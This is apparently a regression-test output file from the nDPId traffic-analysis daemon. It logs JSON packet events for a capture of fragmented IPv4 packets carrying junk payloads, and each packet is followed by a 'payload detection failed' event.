+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778710,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778725,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778778,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778820,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 